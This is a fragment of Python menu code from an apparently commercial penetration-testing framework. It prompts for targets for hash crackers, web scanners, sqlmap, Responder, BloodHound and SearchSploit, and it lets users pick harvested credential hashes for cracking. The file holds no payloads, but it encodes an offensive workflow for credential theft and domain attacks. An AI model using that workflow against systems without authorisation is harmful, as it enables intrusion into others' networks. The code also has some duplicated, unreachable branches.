                    ordered_tools.extend(sorted(remaining, key=lambda x: x[0]))
                    phase_tools = ordered_tools
                else:
                    phase_tools = sorted(phase_tools, key=lambda x: x[0])
                
                for name, plugin in phase_tools:
                    display_name = get_display_name(name)
                    display_desc = desc_map.get(name, 'No description')

                    # Add recommended badge if tool is in template's recommended list
                    is_recommended = name.lower() in recommended_tools
                    badge = click.style("★ ", fg='yellow') if is_recommended else "  "

                    tool_entry = f"  [{idx:2d}] {badge}{display_name:<23} - {display_desc}"
                    click.echo(tool_entry)

                    tool_list.append(('launch_tool', name))
                    idx += 1
            else:
                click.echo(f"      {click.style('(No tools available in this phase yet)', fg='bright_black', italic=True)}")
            
            click.echo()

    # Show legend if there are recommended tools
    if recommended_tools and current_template and current_template.id != 'custom':
        click.echo(click.style(f"  ★ = Recommended for {current_template.name} preset", fg='bright_black'))
        click.echo()

    # ============================================================================
    # OPERATIONS
    # ============================================================================
    click.echo(click.style("⚙️ OPERATIONS", bold=True, fg='cyan'))
    click.echo("─" * 60)
    click.echo(f"   Monitor progress and manage engagement")
    click.echo()

    job_queue_option = idx
    click.echo(f"  [{'j':<2}] {'Job Queue':<25} - Manage active jobs and worker")
    tool_list.append(('job_queue', None))
    idx += 1

    engagement_option = idx
    click.echo(f"  [{'e':<2}] {'Engagements':<25} - Switch or create engagements")
    tool_list.append(('engagement', None))
    idx += 1

    settings_option = idx
    click.echo(f"  [{'s':<2}] {'Settings':<25} - Encryption and preferences")
    tool_list.append(('settings', None))
    idx += 1

    docs_option = idx
    click.echo(f"  [{'h':<2}] {'Help Center':<25} - Documentation and guides")
    tool_list.append(('docs', None))
    idx += 1

    # Phases guide - show template-specific scan phases
    phases_option = idx
    if current_template and current_template.scan_phases:
        click.echo(f"  [{'g':<2}] {'Scan Phases Guide':<25} - View recommended workflow for {current_template.name}")
    else:
        click.echo(f"  [{'g':<2}] {'Scan Phases Guide':<25} - View recommended workflow")
    tool_list.append(('phases_guide', None))
    idx += 1

    click.echo(f"  [{'?':<2}] {'Quick Help':<25} - Context-sensitive help")

    # Logout option
    click.echo()
    logout_option = idx
    if user:
        click.echo(click.style(f"  [{'L':<2}]", fg='yellow', bold=True) + 
                   click.style(' Logout', fg='yellow') +
                   click.style(f" {'':<18} - End session ({user.username})", fg='bright_black'))
        tool_list.append(('logout', None))
        idx += 1

    click.echo()
    click.echo("─" * get_terminal_width())
    click.echo(click.style("  Select option: ", bold=True), nl=False)

    # Get user selection
    try:
        choice_input = input().strip().lower()

        # Only allow quit from main menu
        if choice_input in ('q', 'quit', 'exit'):
            click.echo("\n  " + click.style("Goodbye!", fg='cyan'))
            import sys
            sys.exit(0)

        # Quick help with '?'
        if choice_input == '?':
            from souleyez.ui.help_system import show_help, HelpContext
            show_help(HelpContext.MAIN_MENU, engagement_type=engagement_type)
            input("  Select option: ")
            return {'action': 'retry'}

        # Handle letter shortcuts
        # Get user tier for Pro feature checks
        from souleyez.auth import get_current_user, Tier
        current_user = get_current_user()
        is_pro_user = current_user and current_user.tier == Tier.PRO
        
        if choice_input == 'c':
            # Command Center (dashboard)
            return {'action': 'view_dashboard'}
        elif choice_input == 'i':
            # Intelligence Hub
            return {'action': 'intelligence_hub'}
        elif choice_input == 'e':
            return {'action': 'manage_engagements'}
        elif choice_input == 'x':
            # AI Execute - Pro feature
            if not is_pro_user:
                _show_upgrade_prompt("AI Execute")
                return {'action': 'retry'}
            return {'action': 'ai_execute'}
        elif choice_input == 'j':
            return {'action': 'job_queue'}
        elif choice_input == 's':
            return {'action': 'settings_security'}
        elif choice_input == 'h':
            return {'action': 'view_documentation'}
        elif choice_input == 'g':
            # Show scan phases guide (clears screen, formatted like docs)
            from souleyez.core.templates import display_scan_phases_guide
            display_scan_phases_guide(engagement_type)
            input("  Select option: ")
            return {'action': 'retry'}
        elif choice_input.upper() == 'L':
            # Logout
            return {'action': 'logout'}
        elif choice_input == 'a':
            # Automation - Pro feature
            if not is_pro_user:
                _show_upgrade_prompt("Automation")
                return {'action': 'retry'}
            # Open Automation submenu
            _automation_submenu()
            return {'action': 'retry'}
        elif choice_input == 'm':
            # MSF Integration - Pro feature
            if not is_pro_user:
                _show_upgrade_prompt("MSF Integration")
                return {'action': 'retry'}
            return {'action': 'msf_integration'}
        elif choice_input == 'r':
            # Reports & Export - Pro feature
            if not is_pro_user:
                _show_upgrade_prompt("Reports & Export")
                return {'action': 'retry'}
            return {'action': 'reports'}
        elif choice_input == 'w':
            # Wazuh Integration - Pro feature
            if not is_pro_user:
                _show_upgrade_prompt("Wazuh Integration")
                return {'action': 'retry'}
            return {'action': 'wazuh_integration'}
        elif choice_input == 't':
            # Toggle auto-chain on/off - PRO feature
            from souleyez.auth import is_pro
            if not is_pro():
                _show_upgrade_prompt("Auto-Chaining")
                return {'action': 'retry'}
            
            chaining = ToolChaining()
            new_state = chaining.toggle_chaining()
            state_text = click.style("ENABLED", fg='green', bold=True) if new_state else click.style("DISABLED", fg='red', bold=True)
            click.echo(f"\n  Auto-chain: {state_text}")
            # Restart worker to apply changes
            click.echo("  Restarting worker...", nl=False)
            try:
                from souleyez.engine.worker_manager import restart_worker
                if restart_worker():
                    click.echo(click.style(" ✓", fg='green', bold=True))
                else:
                    click.echo(click.style(" (worker not running)", fg='yellow'))
            except Exception as e:
                click.echo(click.style(f" ✗ ({e})", fg='red'))
            click.pause()
            return {'action': 'retry'}
        elif choice_input == 'p':
            # Toggle approval mode
            chaining = ToolChaining()
            if not chaining.is_enabled():
                click.echo(click.style("\n  ⚠ Auto-chain must be enabled first to toggle approval mode.", fg='yellow'))
                click.pause()
                return {'action': 'retry'}
            new_state = chaining.toggle_approval_mode()
            state_text = click.style("APPROVAL MODE", fg='yellow', bold=True) if new_state else click.style("AUTO MODE", fg='green', bold=True)
            click.echo(f"\n  Approval mode: {state_text}")
            click.pause()
            return {'action': 'retry'}
        elif choice_input == '':
            # Empty input - just re-prompt
            click.echo(click.style("\n  Please enter a choice.", fg='yellow'))
            click.pause()
            return {'action': 'retry'}

        # Handle numeric input
        try:
            choice = int(choice_input)
        except ValueError:
            click.echo(click.style("\n  ✗ Invalid input! Please enter a valid choice or 'q' to quit.", fg='red'))
            click.pause()
            return {'action': 'retry'}

        if choice == dashboard_option:
            return {'action': 'view_dashboard'}

        if choice == dashboard_option:
            return {'action': 'view_dashboard'}
        
        if choice == engagement_option:
            return {'action': 'manage_engagements'}
        
        if choice == ai_execute_option:
            return {'action': 'ai_execute'}
        
        if choice == job_queue_option:
            return {'action': 'job_queue'}
        
        if choice == msf_option:
            return {'action': 'msf_integration'}
        
        if choice == settings_option:
            return {'action': 'settings_security'}
        
        if choice == docs_option:
            return {'action': 'view_documentation'}

        if 1 <= choice <= len(tool_list):
            action_type, tool_name = tool_list[choice - 1]
            return {'action': action_type, 'tool': tool_name}
        else:
            click.echo(click.style(f"\n  ✗ Invalid selection! Please choose 1-{idx-1} or use shortcuts.", fg='red'))
            click.pause()
            return {'action': 'retry'}

    except (KeyboardInterrupt, EOFError):
        click.echo("\n\n  " + click.style("👋 Goodbye!", fg='green'))
        return None


def show_tool_menu(tool_name: str) -> Optional[Dict[str, Any]]:
    """Show tool configuration menu and return job parameters."""
    from souleyez.ui.design_system import DesignSystem
    
    plugins = discover_plugins()
    plugin = plugins.get(tool_name)

    if not plugin:
        click.echo(f"Plugin {tool_name} not found!")
        return None

    help_info = getattr(plugin, 'HELP', {})
    presets = help_info.get('presets', [])
    flags = help_info.get('flags', [])

    # Get terminal width for responsive banner
    width = get_terminal_width()
    
    # Initialize target to prevent UnboundLocalError
    target = None

    # Tool category icons
    category_icons = {
        'network': '🌐',
        'web': '🔍',
        'osint': '🔎',
        'metasploit': '⚡',
        'windows': '🪟',
        'other': '🔧'
    }

    # Build centered banner with box drawing
    DesignSystem.clear_screen()
    tool_title = help_info.get('name', tool_name)
    description = help_info.get('description', '')
    category = getattr(plugin, 'category', 'other')
    icon = category_icons.get(category, '🔧')

    # Header with horizontal line styling (similar to presets)
    click.echo("\n" + click.style("─" * width, fg='cyan', bold=True))
    # Tool title with icon centered
    title_with_icon = f"{icon}  {tool_title}"
    padding = (width - len(title_with_icon)) // 2
    title_line = " " * padding + title_with_icon
    click.echo(click.style(title_line, fg='cyan', bold=True))
    width = get_terminal_width(); click.echo(click.style("─" * width, fg='cyan', bold=True))
    click.echo()

    # Description box removed - help available via '?' command

    # Special handling for hash cracking tools - need hash input, not IPs
    if tool_name in ['hashcat', 'john']:
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🔐 HASH INPUT", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        
        # Show options for hash input
        click.echo("How would you like to provide the hash?")
        click.echo()
        click.echo("  1. Enter hash string directly")
        click.echo("  2. Specify hash file path")
        click.echo("  3. Select from discovered hashes (credentials)")
        click.echo("  [q] Back")
        click.echo()
        click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
        click.echo()

        choice_input = click.prompt(
            click.style("Select option", fg='yellow', bold=True),
            type=str,
            default='2',
            show_default=False
        ).strip()

        # Handle help command
        if choice_input == '?':
            show_tool_help(tool_name, help_info)
            DesignSystem.clear_screen()
            return {'action': 'retry'}

        # Handle back/quit
        if choice_input.lower() == 'q':
            return None

        # Convert to int
        try:
            choice = int(choice_input)
        except ValueError:
            click.echo(click.style("Invalid option!", fg='red'))
            return None
        
        if choice == 1:
            # Direct hash input
            click.echo()
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • 5f4dcc3b5aa765d61d8327deb882cf99  (MD5)")
            click.echo("  • $1$salt$hash  (MD5 crypt)")
            click.echo("  • $6$salt$hash  (SHA-512 crypt)")
            click.echo()
            
            target = click.prompt(
                click.style("Enter hash", fg='yellow', bold=True),
                type=str
            )
            
            if not target or target.strip() == "":
                click.echo(click.style("Hash required!", fg='red'))
                return None
            
            target = target.strip()
            
        elif choice == 2:
            # Hash file path
            click.echo()
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • /path/to/hashes.txt")
            click.echo("  • ./output/secretsdump_hashes.txt")
            click.echo("  • ~/.local/share/john/hashes")
            click.echo()
            
            target = click.prompt(
                click.style("Enter hash file path", fg='yellow', bold=True),
                type=str
            )
            
            if not target or target.strip() == "":
                click.echo(click.style("File path required!", fg='red'))
                return None
            
            target = target.strip()
            
        elif choice == 3:
            # Select from credentials in current engagement
            from souleyez.storage.engagements import EngagementManager
            from souleyez.storage.credentials import CredentialManager
            
            em = EngagementManager()
            current_eng = em.get_current()
            
            if not current_eng:
                click.echo(click.style("No engagement selected!", fg='red'))
                click.echo("Use 'souleyez engagement use <name>' first")
                return None
            
            cm = CredentialManager()
            creds = cm.list_credentials(current_eng['id'])
            
            # Filter for hashes only (credential_type contains 'hash')
            hashes = [c for c in creds if 'hash' in c.get('credential_type', '').lower()]
            
            if not hashes:
                click.echo(click.style("No hashes found in current engagement!", fg='yellow'))
                click.echo("Try discovering hashes first with:")
                click.echo("  • secretsdump (extract SAM/NTDS)")
                click.echo("  • GetNPUsers (AS-REP roasting)")
                return None
            
            # Show hash list
            click.echo()
            click.echo(click.style(f"Found {len(hashes)} hash(es) in current engagement:", fg='green', bold=True))
            click.echo()
            
            for idx, cred in enumerate(hashes[:20], 1):  # Show max 20
                username = cred.get('username', 'unknown')[:30].ljust(30)
                hash_type = cred.get('credential_type', 'unknown')[:20]
                hash_preview = cred.get('credential', '')[:40] + '...'
                click.echo(f"  {idx:2d}. {username} | {hash_type} | {hash_preview}")
            
            if len(hashes) > 20:
                click.echo(f"  ... and {len(hashes) - 20} more")
            
            click.echo()
            selection = click.prompt(
                click.style("Select hash number (or 0 to cancel)", fg='yellow', bold=True),
                type=int,
                default=0
            )
            
            if selection < 1 or selection > len(hashes):
                click.echo(click.style("Cancelled", fg='yellow'))
                return None
            
            # Use selected hash
            selected = hashes[selection - 1]
            target = selected.get('credential', '')
            
            if not target:
                click.echo(click.style("Hash is empty!", fg='red'))
                return None
            
            click.echo(click.style(f"\n✓ Selected: {selected.get('username')} ({selected.get('credential_type')})", fg='green'))
            click.echo()
            
        else:
            # Invalid selection
            click.echo(click.style("Invalid option!", fg='red'))
            return None

    # Special handling for domain-based tools - offer discovered domains
    elif tool_name in ['theharvester', 'whois', 'dnsrecon']:
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🌐 DOMAIN SELECTION", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        
        # Try to get domains from current engagement
        from souleyez.storage.engagements import EngagementManager
        from souleyez.storage.hosts import HostManager
        from souleyez.storage.osint import OsintManager

        em = EngagementManager()
        current_eng = em.get_current()

        discovered_domains = []
        if current_eng:
            hm = HostManager()
            om = OsintManager()
            all_hosts = hm.list_hosts(current_eng['id'])

            # Extract unique domains from hostnames in HostManager
            for host in all_hosts:
                hostname = host.get('hostname')
                if hostname and '.' in hostname:
                    # Extract domain (everything after first subdomain)
                    parts = hostname.split('.')
                    if len(parts) >= 2:
                        domain = '.'.join(parts[-2:])  # Get last two parts (domain.tld)
                        if domain not in discovered_domains:
                            discovered_domains.append(domain)

            # Also check OSINT data for hosts/domains (from theHarvester, etc.)
            try:
                osint_hosts = om.list_osint_data(current_eng['id'], data_type='host')
                for osint_entry in osint_hosts:
                    hostname = osint_entry.get('value', '')
                    if hostname and '.' in hostname:
                        # Extract domain from hostname
                        parts = hostname.split('.')
                        if len(parts) >= 2:
                            # If it's a subdomain (e.g., testasp.vulnweb.com), extract base domain
                            domain = '.'.join(parts[-2:])  # Get last two parts (domain.tld)
                            if domain not in discovered_domains:
                                discovered_domains.append(domain)
            except Exception:
                pass  # Silently ignore OSINT lookup errors
        
        if discovered_domains:
            click.echo(click.style(f"🎯 Discovered {len(discovered_domains)} domain(s) in current engagement:", fg='green', bold=True))
            click.echo()
            
            for idx, domain in enumerate(discovered_domains[:10], 1):
                click.echo(f"  {idx}. {domain}")
            
            if len(discovered_domains) > 10:
                click.echo(f"  ... and {len(discovered_domains) - 10} more")
            
            click.echo()
            click.echo("  [0] Enter custom domain")
            click.echo("  [q] Back")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            choice = click.prompt(
                click.style("Select option", fg='green', bold=True),
                type=str,
                default='0',
                show_default=False
            ).strip()

            # Handle help command
            if choice == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}

            # Handle back/quit
            if choice.lower() == 'q':
                return {'action': 'back'}

            if choice.isdigit() and 1 <= int(choice) <= len(discovered_domains):
                target = discovered_domains[int(choice) - 1]
                click.echo(click.style(f"\n✓ Selected: {target}", fg='green'))
                click.echo()
            else:
                target = None
        else:
            click.echo(click.style("No domains discovered yet in current engagement", fg='yellow'))
            click.echo()
            target = None

        # Manual entry if not selected from list
        if not target:
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • example.com")
            click.echo("  • megacorpone.com")
            click.echo("  • targetsite.org")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            while True:
                target = click.prompt(
                    click.style("Enter domain name", fg='yellow', bold=True) + " [or 'q' to return]",
                    type=str
                )

                # Handle help command
                if target.strip() == '?':
                    show_tool_help(tool_name, help_info)
                    # Return to tool selection after help
                    DesignSystem.clear_screen()
                    return {'action': 'retry'}

                if not target or target.strip() == "":
                    click.echo(click.style("Domain required!", fg='red'))
                    return None

                target = target.strip()

                if target.lower() in ['q']:
                    return {'action': 'back'}

                # Valid domain entered, break out of loop
                break
    
    # Special handling for URL-based web tools - offer discovered web services
    elif tool_name in ['gobuster', 'ffuf', 'wpscan', 'sqlmap']:
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🌐 WEB TARGET SELECTION", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        
        # Try to get web services from current engagement
        from souleyez.storage.engagements import EngagementManager
        from souleyez.storage.hosts import HostManager
        from souleyez.engine.background import list_jobs
        from urllib.parse import urlparse
        
        em = EngagementManager()
        current_eng = em.get_current()
        
        discovered_web_services = []
        if current_eng:
            hm = HostManager()
            all_hosts = hm.list_hosts(current_eng['id'])
            active_hosts = [h for h in all_hosts if h.get('status') == 'up']
            
            # Find HTTP/HTTPS services from host data
            for host in active_hosts:
                ip = host.get('ip_address')
                hostname = host.get('hostname') or ip
                
                try:
                    services = hm.get_host_services(host['id']) or []
                except:
                    services = host.get('services', [])
                
                if not isinstance(services, list):
                    continue
                
                for svc in services:
                    port = svc.get('port')
                    service_name = (svc.get('service_name') or '').lower()
                    
                    # Detect web services
                    if port in [80, 8080, 8000, 8888, 3000, 5000] or 'http' in service_name:
                        protocol = 'http'
                        url = f"http://{hostname}:{port}" if port not in [80] else f"http://{hostname}"
                        discovered_web_services.append({
                            'url': url,
                            'host': hostname,
                            'port': port,
                            'service': service_name or 'http'
                        })
                    elif port in [443, 8443] or 'https' in service_name or 'ssl' in service_name:
                        protocol = 'https'
                        url = f"https://{hostname}:{port}" if port not in [443] else f"https://{hostname}"
                        discovered_web_services.append({
                            'url': url,
                            'host': hostname,
                            'port': port,
                            'service': service_name or 'https'
                        })
            
            # Also discover web targets from recent job history (catches hostname-based scans)
            recent_jobs = list_jobs(limit=100)
            web_tools = ['gobuster', 'ffuf', 'wpscan', 'sqlmap', 'nuclei', 'nikto', 'dalfox']
            
            for job in recent_jobs:
                if job.get('engagement_id') != current_eng['id']:
                    continue
                if job.get('tool') not in web_tools:
                    continue
                    
                target = job.get('target', '')
                if not target or not target.startswith('http'):
                    continue
                
                # Parse the URL to extract base URL
                try:
                    parsed = urlparse(target)
                    if not parsed.hostname:
                        continue
                    
                    # Determine port
                    port = parsed.port
                    if not port:
                        port = 443 if parsed.scheme == 'https' else 80
                    
                    # Build clean base URL
                    if (parsed.scheme == 'http' and port == 80) or (parsed.scheme == 'https' and port == 443):
                        base_url = f"{parsed.scheme}://{parsed.hostname}"
                    else:
                        base_url = f"{parsed.scheme}://{parsed.hostname}:{port}"
                    
                    discovered_web_services.append({
                        'url': base_url,
                        'host': parsed.hostname,
                        'port': port,
                        'service': parsed.scheme,
                        'source': 'job_history'
                    })
                except:
                    continue
            
            # Deduplicate by URL
            seen_urls = set()
            unique_web_services = []
            for svc in discovered_web_services:
                if svc['url'] not in seen_urls:
                    seen_urls.add(svc['url'])
                    unique_web_services.append(svc)
            
            discovered_web_services = unique_web_services
        
        if discovered_web_services:
            click.echo(click.style(f"🎯 Discovered {len(discovered_web_services)} web service(s) in current engagement:", fg='green', bold=True))
            click.echo()
            
            # Show table
            click.echo(click.style("  #   URL                                      Port    Service", fg='cyan'))
            click.echo(click.style("  " + "─" * 70, fg='cyan'))
            
            for idx, svc in enumerate(discovered_web_services[:15], 1):
                url = svc['url'][:42].ljust(42)
                port = str(svc['port']).ljust(6)
                service = (svc.get('service') or 'unknown')[:15]
                click.echo(f"  {idx:2d}. {url}  {port}  {service}")
            
            if len(discovered_web_services) > 15:
                click.echo(f"  ... and {len(discovered_web_services) - 15} more")
            
            click.echo()
            click.echo("  [0] Enter custom URL")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            choice = click.prompt(
                click.style("Select target", fg='yellow', bold=True),
                type=str,
                default='0'
            ).strip()

            # Handle help command
            if choice == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}
            
            if choice.isdigit() and 1 <= int(choice) <= len(discovered_web_services):
                target = discovered_web_services[int(choice) - 1]['url']
                click.echo(click.style(f"\n✓ Selected: {target}", fg='green'))
                click.echo()
            else:
                target = None
        else:
            click.echo(click.style("No web services discovered yet in current engagement", fg='yellow'))
            click.echo("Run nmap first to discover HTTP/HTTPS services")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()
            target = None

        # Manual entry if not selected from list
        if not target:
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • http://10.0.0.82")
            click.echo("  • https://example.com")
            click.echo("  • http://192.168.1.100:8080")
            if tool_name == 'sqlmap':
                click.echo("  • http://example.com/page.php?id=1  (for SQLMap)")
            click.echo()

            target = click.prompt(
                click.style("Enter URL", fg='yellow', bold=True) + " [or 'q' to return]",
                type=str
            )

            # Handle help command
            if target.strip() == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}

            if not target or target.strip() == "":
                click.echo(click.style("URL required!", fg='red'))
                return None

            target = target.strip()

            # Auto-add http:// if missing
            if not target.startswith(('http://', 'https://')):
                target = f"http://{target}"
                click.echo(click.style(f"Added protocol: {target}", fg='cyan'))
            
            if target.lower() in ['q']:
                return {'action': 'back'}
    
    # Special handling for Responder - needs network interface, not IP
    elif tool_name == 'responder':
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🌐 NETWORK INTERFACE", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        click.echo(click.style("ℹ️  Responder requires a network interface (not an IP address)!", fg='cyan', bold=True))
        click.echo()
        click.echo("Examples:")
        click.echo("  • eth0     - Primary Ethernet interface")
        click.echo("  • wlan0    - Wireless interface")
        click.echo("  • tun0     - VPN tunnel interface")
        click.echo()
        click.echo("💡 Tip: Run 'ip addr' or 'ifconfig' to see available interfaces")
        click.echo()
        click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
        click.echo()

        # Prompt for interface
        target = click.prompt(
            click.style("Enter network interface", fg='yellow', bold=True) + " [or 'q' to return]",
            type=str,
            default='eth0'
        )

        # Handle help command
        if target.strip() == '?':
            show_tool_help(tool_name, help_info)
            DesignSystem.clear_screen()
            return {'action': 'retry'}
        
        if not target or target.strip() == "":
            click.echo(click.style("Interface required!", fg='red'))
            return None
        
        target = target.strip()
        
        # Check if user wants to go back
        if target.lower() in ['q']:
            return {'action': 'back'}
    
    # Special handling for Bloodhound - needs DC IP and requires credentials in args
    elif tool_name == 'bloodhound':
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🏢 DOMAIN CONTROLLER", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        click.echo(click.style("ℹ️  Bloodhound requires a Domain Controller IP and credentials!", fg='cyan', bold=True))
        click.echo()
        click.echo("You'll need:")
        click.echo("  1️⃣  Domain Controller IP (enter below)")
        click.echo("  2️⃣  Domain credentials (provide in arguments)")
        click.echo()
        click.echo("Format for arguments: -u username -p password -d DOMAIN.LOCAL")
        click.echo()

        # Try to suggest DCs from discovered hosts
        from souleyez.storage.engagements import EngagementManager
        from souleyez.storage.hosts import HostManager
        
        em = EngagementManager()
        current_eng = em.get_current()
        
        suggested_dcs = []
        if current_eng:
            hm = HostManager()
            all_hosts = hm.list_hosts(current_eng['id'])
            
            # Look for potential DCs (hosts with common DC ports like 389, 88, 3268)
            active_hosts = [h for h in all_hosts if h.get('status') == 'up']
            
            for host in active_hosts:
                # Check if host has DC-like services
                try:
                    services = hm.get_host_services(host['id']) or []
                except:
                    services = host.get('services', [])
                
                if not isinstance(services, list):
                    continue
                
                # Check for LDAP (389), Kerberos (88), or Global Catalog (3268)
                dc_ports = [389, 88, 3268, 636]
                has_dc_service = any(svc.get('port') in dc_ports for svc in services if isinstance(svc, dict))
                
                if has_dc_service:
                    ip = host.get('ip_address')
                    hostname = host.get('hostname')
                    display = f"{ip} ({hostname})" if hostname else ip
                    suggested_dcs.append({'ip': ip, 'display': display})
        
        # Show suggested DCs or prompt for manual entry
        if suggested_dcs:
            click.echo(click.style(f"🎯 Potential Domain Controllers found:", fg='green', bold=True))
            click.echo()
            
            for idx, dc in enumerate(suggested_dcs[:10], 1):
                click.echo(f"  {idx}. {dc['display']}")
            
            click.echo()
            click.echo("  [0] Enter custom DC IP")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()

            choice_input = click.prompt(
                click.style("Select DC number (or 0 for custom)", fg='yellow', bold=True),
                type=str,
                default='0'
            ).strip()

            # Handle help command
            if choice_input == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}

            # Convert to int
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("Invalid selection!", fg='red'))
                return None
            
            if choice >= 1 and choice <= len(suggested_dcs):
                target = suggested_dcs[choice - 1]['ip']
                click.echo(click.style(f"\n✓ Selected: {target}", fg='green'))
                click.echo()
            else:
                target = None
        else:
            target = None

        # Manual entry if not selected from list
        if not target:
            click.echo(click.style("Examples:", fg='cyan'))
            click.echo("  • 10.0.0.10")
            click.echo("  • 192.168.1.100")
            click.echo("  • dc01.corp.local")
            click.echo()
            click.echo(click.style("  💡 TIP: ", fg='yellow', bold=True) + "Type " + click.style("?", fg='cyan', bold=True) + " for help guide")
            click.echo()
            
            target = click.prompt(
                click.style("Enter Domain Controller IP/hostname", fg='yellow', bold=True) + " [or 'q' to return]",
                type=str
            )

            # Handle help command
            if target.strip() == '?':
                show_tool_help(tool_name, help_info)
                DesignSystem.clear_screen()
                return {'action': 'retry'}

            if not target or target.strip() == "":
                click.echo(click.style("DC IP/hostname required!", fg='red'))
                return None

            target = target.strip()

            # Check if user wants to go back
            if target.lower() in ['q']:
                return {'action': 'back'}
    
    # Special handling for hash cracking tools - need hash input, not IPs
    elif tool_name in ['hashcat', 'john']:
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🔐 HASH INPUT", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        
        # Note: This is a simplified version - full implementation would offer
        # hash file paths, discovered hashes from credentials, etc.
        click.echo("Hash cracking tools need hash input (not IP addresses)")
        click.echo()
        click.echo(click.style("Examples:", fg='cyan'))
        click.echo("  • /path/to/hashes.txt  (hash file)")
        click.echo("  • 5f4dcc3b5aa765d61d8327deb882cf99  (single MD5)")
        click.echo("  • $1$salt$hash  (crypt hash)")
        click.echo()
        
        target = click.prompt(
            click.style("Enter hash file path or hash string", fg='yellow', bold=True) + " [or 'q' to return]",
            type=str
        )
        
        if not target or target.strip() == "":
            click.echo(click.style("Hash input required!", fg='red'))
            return None
        
        target = target.strip()
        
        # Check if user wants to go back
        if target.lower() in ['q']:
            return {'action': 'back'}
    
    # Special handling for SearchSploit - offer discovered services
    elif tool_name == 'searchsploit':
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo(click.style("🔍 SEARCH TERM", fg='yellow', bold=True))
        click.echo(click.style("━" * width, fg='yellow', bold=True))
        click.echo()
        click.echo("SearchSploit searches Exploit-DB by software name, version, or CVE.")
        click.echo()
        
        # Try to get services from current engagement
        from souleyez.storage.engagements import EngagementManager
        from souleyez.storage.hosts import HostManager
        
        em = EngagementManager()
        current_eng = em.get_current()
        
        discovered_services = []
        target = None
        
        if current_eng:
            hm = HostManager()
            all_hosts = hm.list_hosts(current_eng['id'])
            
            # Collect services with version info from active hosts
            active_hosts = [h for h in all_hosts if h.get('status') == 'up']

            def _has_real_version(ver):
                """Check if version string has meaningful version info"""
                if not ver or ver in ['Unknown', '-', 'N/A']:
                    return False
                # Check if it contains actual version numbers
                import re
                return bool(re.search(r'\d+\.\d+', ver))

            for host in active_hosts:
                try:
                    services = hm.get_host_services(host['id']) or []
                except:
                    services = host.get('services', [])

                if not isinstance(services, list):
                    continue

                for svc in services:
                    svc_name = svc.get('service_name', 'unknown')
                    svc_version = svc.get('service_version', '') or svc.get('version', '')
                    svc_product = svc.get('service_product', '') or svc.get('product', '')
                    port = svc.get('port')
                    ip = host.get('ip_address', '')
                    service_id = svc.get('id')  # Track service ID for exploit linking
                    host_id = host.get('id')  # Track host ID for exploit linking
                    
                    # Clean up nmap metadata from version string
                    # e.g., "syn-ack ttl 64 vsftpd 2.3.4" -> "vsftpd 2.3.4"
                    if svc_version:
                        # Remove nmap scan metadata
                        for prefix in ['syn-ack ttl', 'ttl', 'syn-ack']:
                            if svc_version.startswith(prefix):
                                # Find where the actual version info starts (after the number)
                                parts = svc_version.split()
                                # Skip metadata tokens
                                cleaned_parts = []
                                skip_next = False
                                for i, part in enumerate(parts):
                                    if skip_next:
                                        skip_next = False
                                        continue
                                    if part in ['syn-ack', 'ttl']:
                                        if part == 'ttl':
                                            skip_next = True  # Skip the ttl value too
                                        continue
                                    # Found actual service info
                                    cleaned_parts = parts[i:]
                                    break
                                svc_version = ' '.join(cleaned_parts)
                                break
                    
                    # The 'service_version' field contains the full product + version string
                    # e.g., "Apache httpd 2.2.8 ((Ubuntu) DAV/2)"
                    # We need to parse it properly
                    full_version_string = svc_version or svc_product
                    
                    if not full_version_string or full_version_string == '-':
                        # No version info available
                        if svc_name and svc_name != 'unknown':
                            search_term = svc_name
                            display_name = svc_name
                            version = "Unknown"
                        else:
                            continue
                    else:
                        # Parse the version string
                        # Examples:
                        # "vsftpd 2.3.4" -> service: vsftpd, version: 2.3.4
                        # "Apache httpd 2.2.8 ((Ubuntu) DAV/2)" -> service: Apache httpd, version: 2.2.8
                        # "OpenSSH 4.7p1 Debian 8ubuntu1" -> service: OpenSSH, version: 4.7p1
